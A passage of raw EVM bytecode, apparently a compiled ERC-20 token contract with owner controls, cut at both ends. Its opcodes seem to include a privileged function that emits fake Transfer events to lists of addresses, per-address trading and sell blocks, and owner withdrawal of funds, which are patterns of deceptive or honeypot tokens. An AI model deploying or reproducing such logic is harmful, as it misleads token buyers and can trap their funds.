fffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b620004766200063e60201b60201c565b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000543576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200053a9062000e3a565b60405180910390fd5b6200055760008383620006cf60201b60201c565b80600260008282546200056b919062000e5c565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200061e919062000ea8565b60405180910390a36200063a60008383620006d460201b60201c565b5050565b6200064e6200038f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000674620006d960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620006cd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006c49062000f15565b60405180910390fd5b565b505050565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007358262000708565b9050919050565b620007478162000728565b81146200075357600080fd5b50565b60008151905062000767816200073c565b92915050565b6000819050919050565b62000782816200076d565b81146200078e57600080fd5b50565b600081519050620007a28162000777565b92915050565b60008060408385031215620007c257620007c162000703565b5b6000620007d28582860162000756565b9250506020620007e58582860162000791565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200087157607f821691505b60208210810362000887576200088662000829565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008f17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008b2565b620008fd8683620008b2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620009406200093a62000934846200076d565b62000915565b6200076d565b9050919050565b6000819050919050565b6200095c836200091f565b620009746200096b8262000947565b848454620008bf565b825550505050565b600090565b6200098b6200097c565b6200099881848462000951565b505050565b5b81811015620009c057620009b460008262000981565b6001810190506200099e565b5050565b601f82111562000a0f57620009d9816200088d565b620009e484620008a2565b81016020851015620009f4578190505b62000a0c62000a0385620008a2565b8301826200099d565b50505b505050565b600082821c905092915050565b600062000a346000198460080262000a14565b1980831691505092915050565b600062000a4f838362000a21565b9150826002028217905092915050565b62000a6a82620007ef565b67ffffffffffffffff81111562000a865762000a85620007fa565b5b62000a92825462000858565b62000a9f828285620009c4565b600060209050601f83116001811462000ad7576000841562000ac2578287015190505b62000ace858262000a41565b86555062000b3e565b601f19841662000ae7866200088d565b60005b8281101562000b115784890151825560018201915060208501945060208101905062000aea565b8683101562000b31578489015162000b2d601f89168262000a21565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000bd45780860481111562000bac5762000bab62000b46565b5b600185161562000bbc5780820291505b808102905062000bcc8562000b75565b945062000b8c565b94509492505050565b60008262000bef576001905062000cc2565b8162000bff576000905062000cc2565b816001811462000c18576002811462000c235762000c59565b600191505062000cc2565b60ff84111562000c385762000c3762000b46565b5b8360020a91508482111562000c525762000c5162000b46565b5b5062000cc2565b5060208310610133831016604e8410600b841016171562000c935782820a90508381111562000c8d5762000c8c62000b46565b5b62000cc2565b62000ca2848484600162000b82565b9250905081840481111562000cbc5762000cbb62000b46565b5b81810290505b9392505050565b600060ff82169050919050565b600062000ce3826200076d565b915062000cf08362000cc9565b925062000d1f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bdd565b905092915050565b600062000d34826200076d565b915062000d41836200076d565b925082820262000d51816200076d565b9150828204841483151762000d6b5762000d6a62000b46565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000dae826200076d565b915062000dbb836200076d565b92508262000dce5762000dcd62000d72565b5b828204905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000e22601f8362000dd9565b915062000e2f8262000dea565b602082019050919050565b6000602082019050818103600083015262000e558162000e13565b9050919050565b600062000e69826200076d565b915062000e76836200076d565b925082820190508082111562000e915762000e9062000b46565b5b92915050565b62000ea2816200076d565b82525050565b600060208201905062000ebf600083018462000e97565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000efd60208362000dd9565b915062000f0a8262000ec5565b602082019050919050565b6000602082019050818103600083015262000f308162000eee565b9050919050565b60805161441c62000f6860003960008181610e2601528181612817015281816128f8015261291f015261441c6000f3fe6080604052600436106102295760003560e01c8063715018a611610123578063c2b7bbb6116100ab578063e083e9221161006f578063e083e92214610800578063e2f4560514610829578063f2fde38b14610854578063f8b45b051461087d578063ffb54a99146108a857610230565b8063c2b7bbb61461072f578063c4590d3f14610758578063c8c8ebe414610781578063c9567bf9146107ac578063dd62ed3e146107c357610230565b80639a7a23d6116100f25780639a7a23d61461063a578063a457c2d714610663578063a9059cbb146106a0578063afa4f3b2146106dd578063b70143c91461070657610230565b8063715018a6146105a45780637571336a146105bb5780638da5cb5b146105e457806395d89b411461060f57610230565b8063313ce567116101b15780634d54557f116101755780634d54557f146104d1578063583e0568146104e85780635d098b38146105135780636ddd17131461053c57806370a082311461056757610230565b8063313ce567146103ea578063395093511461041557806342966c6814610452578063470624021461047b57806349bd5a5e146104a657610230565b806318160ddd116101f857806318160ddd1461030357806323b872dd1461032e57806326ededb81461036b5780632b14ca5614610394578063311028af146103bf57610230565b806306fdde031461023557806307934c8614610260578063095ea7b31461029d5780631111f43f146102da57610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108d3565b6040516102579190612de7565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612e7b565b610965565b6040516102949190612ec3565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190612f14565b6109bb565b6040516102d19190612ec3565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc91906130c8565b6109de565b005b34801561030f57600080fd5b50610318610b3c565b6040516103259190613133565b60405180910390f35b34801561033a57600080fd5b506103556004803603810190610350919061314e565b610b46565b6040516103629190612ec3565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d91906131fc565b610b75565b005b3480156103a057600080fd5b506103a9610cab565b6040516103b69190613133565b60405180910390f35b3480156103cb57600080fd5b506103d4610cb1565b6040516103e19190613133565b60405180910390f35b3480156103f657600080fd5b506103ff610cb7565b60405161040c9190613278565b60405180910390f35b34801561042157600080fd5b5061043c60048036038101906104379190612f14565b610cc0565b6040516104499190612ec3565b60405180910390f35b34801561045e57600080fd5b5061047960048036038101906104749190613293565b610cf7565b005b34801561048757600080fd5b50610490610d0b565b60405161049d9190613133565b60405180910390f35b3480156104b257600080fd5b506104bb610d11565b6040516104c891906132cf565b60405180910390f35b3480156104dd57600080fd5b506104e6610d37565b005b3480156104f457600080fd5b506104fd610e24565b60405161050a9190613349565b60405180910390f35b34801561051f57600080fd5b5061053a60048036038101906105359190612e7b565b610e48565b005b34801561054857600080fd5b50610551610eed565b60405161055e9190612ec3565b60405180910390f35b34801561057357600080fd5b5061058e60048036038101906105899190612e7b565b610f00565b60405161059b9190613133565b60405180910390f35b3480156105b057600080fd5b506105b9610f48565b005b3480156105c757600080fd5b506105e260048036038101906105dd9190613364565b610f5c565b005b3480156105f057600080fd5b506105f9610fbf565b60405161060691906132cf565b60405180910390f35b34801561061b57600080fd5b50610624610fe9565b6040516106319190612de7565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c9190613364565b61107b565b005b34801561066f57600080fd5b5061068a60048036038101906106859190612f14565b611121565b6040516106979190612ec3565b60405180910390f35b3480156106ac57600080fd5b506106c760048036038101906106c29190612f14565b611198565b6040516106d49190612ec3565b60405180910390f35b3480156106e957600080fd5b5061070460048036038101906106ff9190613293565b6111bb565b005b34801561071257600080fd5b5061072d60048036038101906107289190613293565b611244565b005b34801561073b57600080fd5b5061075660048036038101906107519190612e7b565b6112dc565b005b34801561076457600080fd5b5061077f600480360381019061077a91906133a4565b611382565b005b34801561078d57600080fd5b506107966113d8565b6040516107a39190613133565b60405180910390f35b3480156107b857600080fd5b506107c16113de565b005b3480156107cf57600080fd5b506107ea60048036038101906107e591906133e4565b61141e565b6040516107f79190613133565b60405180910390f35b34801561080c57600080fd5b5061082760048036038101906108229190612e7b565b6114a5565b005b34801561083557600080fd5b5061083e6116bd565b60405161084b9190613133565b60405180910390f35b34801561086057600080fd5b5061087b60048036038101906108769190612e7b565b6116c3565b005b34801561088957600080fd5b50610892611746565b60405161089f9190613133565b60405180910390f35b3480156108b457600080fd5b506108bd61174c565b6040516108ca9190612ec3565b60405180910390f35b6060600380546108e290613453565b80601f016020809104026020016040519081016040528092919081815260200182805461090e90613453565b801561095b5780601f106109305761010080835404028352916020019161095b565b820191906000526020600020905b81548152906001019060200180831161093e57829003601f168201915b5050505050905090565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806109c661175f565b90506109d3818585611767565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a1f61175f565b73ffffffffffffffffffffffffffffffffffffffff1614610a3f57600080fd5b60005b8251811015610b37578160146000858481518110610a6357610a62613484565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610acf57610ace613484565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df783604051610b1c9190612ec3565b60405180910390a28080610b2f906134e2565b915050610a42565b505050565b6000600254905090565b600080610b5161175f565b9050610b5e858285611930565b610b698585856119bc565b60019150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bb661175f565b73ffffffffffffffffffffffffffffffffffffffff1614610bd657600080fd5b60005b83839050811015610ca557838382818110610bf757610bf6613484565b5b9050602002016020810190610c0c9190612e7b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c8a9190613133565b60405180910390a38080610c9d906134e2565b915050610bd9565b50505050565b600f5481565b600a5481565b60006009905090565b600080610ccb61175f565b9050610cec818585610cdd858961141e565b610ce7919061352a565b611767565b600191505092915050565b610d08610d0261175f565b826123c6565b50565b60105481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60004711610d7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d71906135aa565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbb61175f565b73ffffffffffffffffffffffffffffffffffffffff1614610ddb57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e21573d6000803e3d6000fd5b50565b7f000000000000000000000000000000000000000000000000000000000000000081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e8961175f565b73ffffffffffffffffffffffffffffffffffffffff1614610ea957600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e60009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f50612593565b610f5a6000612611565b565b610f64612593565b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610ff890613453565b80601f016020809104026020016040519081016040528092919081815260200182805461102490613453565b80156110715780601f1061104657610100808354040283529160200191611071565b820191906000526020600020905b81548152906001019060200180831161105457829003601f168201915b5050505050905090565b611083612593565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611113576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110a9061363c565b60405180910390fd5b61111d82826126d7565b5050565b60008061112c61175f565b9050600061113a828661141e565b90508381101561117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611176906136ce565b60405180910390fd5b61118c8286868403611767565b60019250505092915050565b6000806111a361175f565b90506111b08185856119bc565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111fc61175f565b73ffffffffffffffffffffffffffffffffffffffff161461121c57600080fd5b611224610cb7565b600a6112309190613821565b8161123b919061386c565b600b8190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661128561175f565b73ffffffffffffffffffffffffffffffffffffffff16146112a557600080fd5b60006112b030610f00565b90506000606483836112c2919061386c565b6112cc91906138dd565b90506112d781612778565b505050565b6112e4612593565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611352600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610f5c565b61137f600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016126d7565b50565b61138a612593565b611392610cb7565b600a61139e9190613821565b826113a9919061386c565b600d819055506113b7610cb7565b600a6113c39190613821565b816113ce919061386c565b600c819055505050565b600d5481565b6113e6612593565b6001600e60006101000a81548160ff0219169083151502179055506001600e60016101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114e661175f565b73ffffffffffffffffffffffffffffffffffffffff161461150657600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161154191906132cf565b602060405180830381865afa15801561155e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115829190613923565b116115c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b99061399c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161161891906132cf565b602060405180830381865afa158015611635573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116599190613923565b6040518363ffffffff1660e01b81526004016116769291906139bc565b6020604051808303816000875af1158015611695573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b991906139fa565b5050565b600b5481565b6116cb612593565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361173a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173190613a99565b60405180910390fd5b61174381612611565b50565b600c5481565b600e60019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cd90613b2b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611845576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183c90613bbd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119239190613133565b60405180910390a3505050565b600061193c848461141e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119b657818110156119a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199f90613c29565b60405180910390fd5b6119b58484848403611767565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2290613cbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9190613d4d565b60405180910390fd5b60008103611ab357611aae838360006129d7565b6123c1565b611abb610fbf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b295750611af9610fbf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b625750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b9c575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb55750600860149054906101000a900460ff16155b15611fdc57600e60019054906101000a900460ff16611caf57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c6f5750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca590613db9565b60405180910390fd5b5b43601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d965750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e3d57600d54811115611de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd790613e4b565b60405180910390fd5b600c54611dec83610f00565b82611df7919061352a565b1115611e38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2f90613eb7565b60405180910390fd5b611fdb565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ee05750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2f57600d54811115611f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2190613f49565b60405180910390fd5b611fda565b601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611fd957600c54611f8c83610f00565b82611f97919061352a565b1115611fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcf90613eb7565b60405180910390fd5b5b5b5b5b6000611fe730610f00565b90506000600b548211905080801561200b5750600e60009054906101000a900460ff165b80156120245750600860149054906101000a900460ff16155b801561207a5750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120d05750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121265750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561216a576001600860146101000a81548160ff02191690831515021790555061214e612c4d565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff161580156121d25750601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156122285750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b90506000811561235557601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122b3576122ac606461229e600f5488612c8b90919063ffffffff16565b612ca190919063ffffffff16565b9050612331565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123305761232d606461231f60105488612c8b90919063ffffffff16565b612ca190919063ffffffff16565b90505b5b6000811115612346576123458730836129d7565b5b80856123529190613f69565b94505b601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123b1576123b087612cb7565b5b6123bc8787876129d7565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612435576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242c9061400f565b60405180910390fd5b61244182600083612d41565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156124c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124be906140a1565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161257a9190613133565b60405180910390a361258e83600084612d46565b505050565b61259b61175f565b73ffffffffffffffffffffffffffffffffffffffff166125b9610fbf565b73ffffffffffffffffffffffffffffffffffffffff161461260f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126069061410d565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600267ffffffffffffffff81111561279557612794612f59565b5b6040519080825280602002602001820160405280156127c35781602001602082028036833780820191505090505b50905030816000815181106127db576127da613484565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612880573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128a49190614142565b816001815181106128b8576128b7613484565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061291d307f000000000000000000000000000000000000000000000000000000000000000084611767565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129a1959493929190614268565b600060405180830381600087803b1580156129bb57600080fd5b505af11580156129cf573d6000803e3d6000fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3d90613cbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aac90613d4d565b60405180910390fd5b612ac0838383612d41565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3d90614334565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c349190613133565b60405180910390a3612c47848484612d46565b50505050565b6000612c5830610f00565b905060008103612c685750612c89565b6000819050600b54811115612c7d57600b5490505b612c8681612778565b50505b565b60008183612c99919061386c565b905092915050565b60008183612caf91906138dd565b905092915050565b612cff601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d4b565b612d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d35906143c6565b60405180910390fd5b50565b505050565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d91578082015181840152602081019050612d76565b60008484015250505050565b6000601f19601f8301169050919050565b6000612db982612d57565b612dc38185612d62565b9350612dd3818560208601612d73565b612ddc81612d9d565b840191505092915050565b60006020820190508181036000830152612e018184612dae565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e4882612e1d565b9050919050565b612e5881612e3d565b8114612e6357600080fd5b50565b600081359050612e7581612e4f565b92915050565b600060208284031215612e9157612e90612e13565b5b6000612e9f84828501612e66565b91505092915050565b60008115159050919050565b612ebd81612ea8565b82525050565b6000602082019050612ed86000830184612eb4565b92915050565b6000819050919050565b612ef181612ede565b8114612efc57600080fd5b50565b600081359050612f0e81612ee8565b92915050565b60008060408385031215612f2b57612f2a612e13565b5b6000612f3985828601612e66565b9250506020612f4a85828601612eff565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612f9182612d9d565b810181811067ffffffffffffffff82111715612fb057612faf612f59565b5b80604052505050565b6000612fc3612e09565b9050612fcf8282612f88565b919050565b600067ffffffffffffffff821115612fef57612fee612f59565b5b602082029050602081019050919050565b600080fd5b600061301861301384612fd4565b612fb9565b9050808382526020820190506020840283018581111561303b5761303a613000565b5b835b8181101561306457806130508882612e66565b84526020840193505060208101905061303d565b5050509392505050565b600082601f83011261308357613082612f54565b5b8135613093848260208601613005565b91505092915050565b6130a581612ea8565b81146130b057600080fd5b50565b6000813590506130c28161309c565b92915050565b600080604083850312156130df576130de612e13565b5b600083013567ffffffffffffffff8111156130fd576130fc612e18565b5b6131098582860161306e565b925050602061311a858286016130b3565b9150509250929050565b61312d81612ede565b82525050565b60006020820190506131486000830184613124565b92915050565b60008060006060848603121561316757613166612e13565b5b600061317586828701612e66565b935050602061318686828701612e66565b925050604061319786828701612eff565b9150509250925092565b600080fd5b60008083601f8401126131bc576131bb612f54565b5b8235905067ffffffffffffffff8111156131d9576131d86131a1565b5b6020830191508360208202830111156131f5576131f4613000565b5b9250929050565b60008060006040848603121561321557613214612e13565b5b600084013567ffffffffffffffff81111561323357613232612e18565b5b61323f868287016131a6565b9350935050602061325286828701612eff565b9150509250925092565b600060ff82169050919050565b6132728161325c565b82525050565b600060208201905061328d6000830184613269565b92915050565b6000602082840312156132a9576132a8612e13565b5b60006132b784828501612eff565b91505092915050565b6132c981612e3d565b82525050565b60006020820190506132e460008301846132c0565b92915050565b6000819050919050565b600061330f61330a61330584612e1d565b6132ea565b612e1d565b9050919050565b6000613321826132f4565b9050919050565b600061333382613316565b9050919050565b61334381613328565b82525050565b600060208201905061335e600083018461333a565b92915050565b6000806040838503121561337b5761337a612e13565b5b600061338985828601612e66565b925050602061339a858286016130b3565b9150509250929050565b600080604083850312156133bb576133ba612e13565b5b60006133c985828601612eff565b92505060206133da85828601612eff565b9150509250929050565b600080604083850312156133fb576133fa612e13565b5b600061340985828601612e66565b925050602061341a85828601612e66565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061346b57607f821691505b60208210810361347e5761347d613424565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134ed82612ede565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361351f5761351e6134b3565b5b600182019050919050565b600061353582612ede565b915061354083612ede565b9250828201905080821115613558576135576134b3565b5b92915050565b7f546f6b656e3a206e6f204554482074